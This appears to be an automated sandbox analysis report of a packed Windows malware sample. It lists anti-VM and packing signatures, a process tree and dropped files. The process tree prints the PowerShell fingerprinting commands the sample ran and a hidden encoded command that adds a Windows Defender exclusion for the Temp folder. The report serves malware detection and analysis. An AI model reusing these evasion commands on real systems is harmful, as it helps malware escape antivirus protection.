Analysis

  • max time kernel
    150s
  • max time network
    112s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 19:42

General

  • Target
    2026-07-09_1b0c2a4f4aed7d38d5340b2134868e40_akira_blankgrabber_glassworm_icedid_luca-stealer_njrat_rusty-stealer_zxxz.exe
  • Size 84.4MB
  • Sample260709-ye1j2agy9m
  • SHA256 04ad9a41210a1454ea24f6e144bbf98461f2bf50e70e9396c4b32e320ee65abe
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects executables packed with Themida 5 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-09_1b0c2a4f4aed7d38d5340b2134868e40_akira_blankgrabber_glassworm_icedid_luca-stealer_njrat_rusty-stealer_zxxz.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-09_1b0c2a4f4aed7d38d5340b2134868e40_akira_blankgrabber_glassworm_icedid_luca-stealer_njrat_rusty-stealer_zxxz.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5548
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "chcp"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4448
      • C:\Windows\system32\chcp.com
        chcp
        3⤵
          PID:2196
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -ExecutionPolicy Unrestricted -Command "$OutputEncoding = [System.Console]::OutputEncoding = [System.Console]::InputEncoding = [System.Text.Encoding]::UTF8 ; Get-CimInstance win32_VideoController | fl *"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5264
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -ExecutionPolicy Unrestricted -Command "$OutputEncoding = [System.Console]::OutputEncoding = [System.Console]::InputEncoding = [System.Text.Encoding]::UTF8 ; gp \"HKLM:\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\*\" -ErrorAction SilentlyContinue | where MatchingDeviceId $null -NE | select MatchingDeviceId,HardwareInformation.qwMemorySize | fl"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1160
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -ExecutionPolicy Unrestricted -Command "$OutputEncoding = [System.Console]::OutputEncoding = [System.Console]::InputEncoding = [System.Text.Encoding]::UTF8 ; Get-CimInstance win32_desktopmonitor | fl *"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3624
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -ExecutionPolicy Unrestricted -Command "$OutputEncoding = [System.Console]::OutputEncoding = [System.Console]::InputEncoding = [System.Text.Encoding]::UTF8 ; Get-CimInstance -Namespace root\wmi -ClassName WmiMonitorBasicDisplayParams | fl"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5848
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -ExecutionPolicy Unrestricted -Command "$OutputEncoding = [System.Console]::OutputEncoding = [System.Console]::InputEncoding = [System.Text.Encoding]::UTF8 ; Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4224
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -ExecutionPolicy Unrestricted -Command "$OutputEncoding = [System.Console]::OutputEncoding = [System.Console]::InputEncoding = [System.Text.Encoding]::UTF8 ; Get-CimInstance -Namespace root\wmi -ClassName WmiMonitorConnectionParams | fl"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4172
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -ExecutionPolicy Unrestricted -Command "$OutputEncoding = [System.Console]::OutputEncoding = [System.Console]::InputEncoding = [System.Text.Encoding]::UTF8 ; gwmi WmiMonitorID -Namespace root\wmi | ForEach-Object {(($_.ManufacturerName -notmatch 0 | foreach {[char]$_}) -join \"\") + \"|\" + (($_.ProductCodeID -notmatch 0 | foreach {[char]$_}) -join \"\") + \"|\" + (($_.UserFriendlyName -notmatch 0 | foreach {[char]$_}) -join \"\") + \"|\" + (($_.SerialNumberID -notmatch 0 | foreach {[char]$_}) -join \"\") + \"|\" + $_.InstanceName}"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3320
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "net session"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2188
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1884
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:2856
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "net session"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:712
          • C:\Windows\system32\net.exe
            net session
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:700
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              4⤵
                PID:972
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABjAD0ARwBlAHQALQBDAG8AbQBtAGEAbgBkACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AGkAZgAoACQAYwApAHsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AYwBhAHQAYwBoAHsAfQB9AA==
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2128
          • C:\Users\Admin\AppData\Local\Temp\vjgyfnrbnrp2.exe
            C:\Users\Admin\AppData\Local\Temp\vjgyfnrbnrp2.exe
            2⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Checks whether UAC is enabled
            PID:3684

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              ModuleAnalysisCache

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 67KB
              • SHA256 b13e93a1074e08aa1c5f81ebe483cba575e159f558ccf21133b10a53fc52c423
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ModuleAnalysisCache

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 67KB
              • SHA256 3e7f95061da909a9afbc5808332c4b54969c08e2e3e05fa586932998a2336f56
              • MD5 SHA1 SHA512 SSDEEP TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 1d0773fee6487253ee25c0d9def690f84b2311dd85e84445e93123aa8fde9b6a
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 7d5423fab0bc688fe408ae455cf60ad90cd6398b0ebb0c5a535b34f8e429bcb9
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 9ecf454d8b55b7bc57249021d41b3bb8ae49c6db962c081c3fcfec87c41d5373
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 ccc29b2db90160f9dbd0e3782dd28e6f3f08d5db6c856e7e36b0081dd4727653
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_0btxpb5k.ksm.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0btxpb5k.ksm.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              vjgyfnrbnrp2.exe

              • Path C:\Users\Admin\AppData\Local\Temp\vjgyfnrbnrp2.exe
              • Size 2.9MB
              • SHA256 fc5a05d9c574ac67b9c3c87dab1b9830f180a41159893142c507310eb5d128cc
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/3624-29-0x000001F6D2040000-0x000001F6D206A000-memory.dmp

              memory/3624-26-0x000001F6D2000000-0x000001F6D200A000-memory.dmp

              memory/3624-21-0x000001F6D1F40000-0x000001F6D1FF2000-memory.dmp

              memory/3624-20-0x000001F6D1F20000-0x000001F6D1F3E000-memory.dmp

              memory/3624-30-0x000001F6D2040000-0x000001F6D2064000-memory.dmp

              memory/3684-79-0x0000000140000000-0x0000000140729000-memory.dmp

              memory/3684-80-0x0000000140000000-0x0000000140729000-memory.dmp

              memory/3684-81-0x0000000140000000-0x0000000140729000-memory.dmp

              memory/3684-83-0x0000000140000000-0x0000000140729000-memory.dmp

              memory/4224-5-0x000001D7AAA60000-0x000001D7AAA82000-memory.dmp